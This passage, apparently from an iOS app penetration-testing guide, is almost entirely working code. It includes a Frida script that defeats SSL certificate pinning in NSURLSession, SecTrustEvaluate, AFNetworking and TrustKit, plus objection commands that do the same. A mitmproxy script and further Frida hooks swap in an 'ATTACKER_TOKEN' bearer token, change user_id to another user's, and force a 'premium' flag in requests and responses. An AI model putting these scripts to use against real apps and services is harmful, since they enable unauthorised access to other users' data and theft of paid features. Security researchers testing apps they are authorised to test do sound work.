Network Analysis

# Install mitmproxy
brew install mitmproxy

# Start proxy
mitmproxy --listen-host 0.0.0.0 --listen-port 8080

# Or use web interface
mitmweb --listen-host 0.0.0.0 --listen-port 8080

// ssl-bypass.js
if (ObjC.available) {
    // Bypass NSURLSession certificate validation
    var NSURLSession = ObjC.classes.NSURLSession;
    var SessionDelegate = ObjC.classes.__NSURLSessionDelegate;
    
    Interceptor.attach(
        SessionDelegate['- URLSession:didReceiveChallenge:completionHandler:'].implementation,
        {
            onEnter: function(args) {
                console.log('[+] Bypassing SSL pinning');
                
                var challenge = ObjC.Object(args[3]);
                var completionHandler = new ObjC.Block(args[4]);
                
                // Create credential that accepts all
                var credential = ObjC.classes.NSURLCredential
                    .credentialForTrust_(challenge.protectionSpace().serverTrust());
                
                // Call completion handler with credential
                completionHandler.implementation(1, credential);
            }
        }
    );
    
    // Bypass SecTrustEvaluate
    var SecTrustEvaluate = Module.findExportByName('Security', 'SecTrustEvaluate');
    Interceptor.replace(SecTrustEvaluate, new NativeCallback(function(trust, result) {
        console.log('[+] SecTrustEvaluate called - forcing success');
        Memory.writeU8(result, 1);  // kSecTrustResultProceed
        return 0;  // errSecSuccess
    }, 'int', ['pointer', 'pointer']));
    
    // Bypass AFNetworking if present
    if (ObjC.classes.AFHTTPSessionManager) {
        Interceptor.attach(
            ObjC.classes.AFSecurityPolicy['- setSSLPinningMode:'].implementation,
            {
                onEnter: function(args) {
                    console.log('[+] Disabling AFNetworking SSL pinning');
                    args[2] = ptr(0);  // AFSSLPinningModeNone
                }
            }
        );
        
        Interceptor.attach(
            ObjC.classes.AFSecurityPolicy['- setAllowInvalidCertificates:'].implementation,
            {
                onEnter: function(args) {
                    args[2] = ptr(1);  // Allow invalid certs
                }
            }
        );
    }
    
    // Bypass TrustKit if present
    if (ObjC.classes.TrustKit) {
        Interceptor.attach(
            ObjC.classes.TSKPinningValidator['- evaluateTrust:forHostname:'].implementation,
            {
                onEnter: function(args) {
                    console.log('[+] Bypassing TrustKit');
                },
                onLeave: function(retval) {
                    retval.replace(ptr(1));  // Return YES
                }
            }
        );
    }
    
    console.log('[+] SSL pinning bypass loaded');
}

frida -U -l ssl-bypass.js "Target App"

# Install objection
pip install objection

# Launch app with objection
objection -g "Target App" explore

# Disable SSL pinning
ios sslpinning disable

# Additional checks
ios sslpinning disable --quiet

// Frida script to log all URLs
var NSURLSession = ObjC.classes.NSURLSession;
var NSURLRequest = ObjC.classes.NSURLRequest;

var endpoints = {};

Interceptor.attach(
    ObjC.classes.NSURLSessionTask['- resume'].implementation,
    {
        onEnter: function(args) {
            var task = ObjC.Object(args[0]);
            var request = task.currentRequest();
            var url = request.URL().absoluteString().toString();
            var method = request.HTTPMethod().toString();
            
            var key = method + ' ' + url;
            if (!endpoints[key]) {
                endpoints[key] = 0;
                console.log('[+] New endpoint: ' + key);
            }
            endpoints[key]++;
        }
    }
);

// Periodically dump summary
setInterval(function() {
    console.log('\n[+] Endpoint Summary:');
    Object.keys(endpoints).sort().forEach(function(key) {
        console.log('    ' + endpoints[key] + 'x - ' + key);
    });
}, 60000);

# Burp Suite extension or script
# Analyze parameter patterns

import json

def analyze_request(request):
    # Parse query params
    # Parse JSON body
    # Extract headers
    
    params = {
        'user_id': 'integer',
        'auth_token': 'jwt',
        'timestamp': 'unix_epoch',
        'signature': 'hmac_sha256'
    }
    
    # Test for:
    # - Required vs optional
    # - Type validation
    # - Authorization checks
    # - Injection vulnerabilities

# mitmproxy script
from mitmproxy import http

def request(flow: http.HTTPFlow) -> None:
    # Modify authentication
    if "Authorization" in flow.request.headers:
        flow.request.headers["Authorization"] = "Bearer ATTACKER_TOKEN"
    
    # Change user ID in JSON
    if flow.request.method == "POST" and "/api/" in flow.request.path:
        try:
            data = flow.request.json()
            if "user_id" in data:
                data["user_id"] = 99999  # Different user
                flow.request.text = json.dumps(data)
        except:
            pass

def response(flow: http.HTTPFlow) -> None:
    # Modify responses
    if "/api/user/status" in flow.request.path:
        try:
            data = flow.response.json()
            data["premium"] = True  # Force premium
            flow.response.text = json.dumps(data)
        except:
            pass

mitmproxy -s modify.py

// Modify requests before they're sent
Interceptor.attach(
    ObjC.classes.NSMutableURLRequest['- setValue:forHTTPHeaderField:'].implementation,
    {
        onEnter: function(args) {
            var field = ObjC.Object(args[3]).toString();
            
            if (field === "Authorization") {
                var newToken = ObjC.classes.NSString
                    .stringWithString_("Bearer CUSTOM_TOKEN");
                args[2] = newToken;
                console.log('[+] Modified Authorization header');
            }
        }
    }
);

// Modify JSON bodies
Interceptor.attach(
    ObjC.classes.NSMutableURLRequest['- setHTTPBody:'].implementation,
    {
        onEnter: function(args) {
            var bodyData = ObjC.Object(args[2]);
            var bodyStr = ObjC.classes.NSString.alloc()
                .initWithData_encoding_(bodyData, 4).toString();
            
            try {
                var json = JSON.parse(bodyStr);
                json.premium = true;  // Modify field
                
                var newStr = JSON.stringify(json);
                var newData = ObjC.classes.NSString
                    .stringWithString_(newStr)
                    .dataUsingEncoding_(4);
                
                args[2] = newData;
                console.log('[+] Modified request body');
            } catch(e) {}
        }
    }
);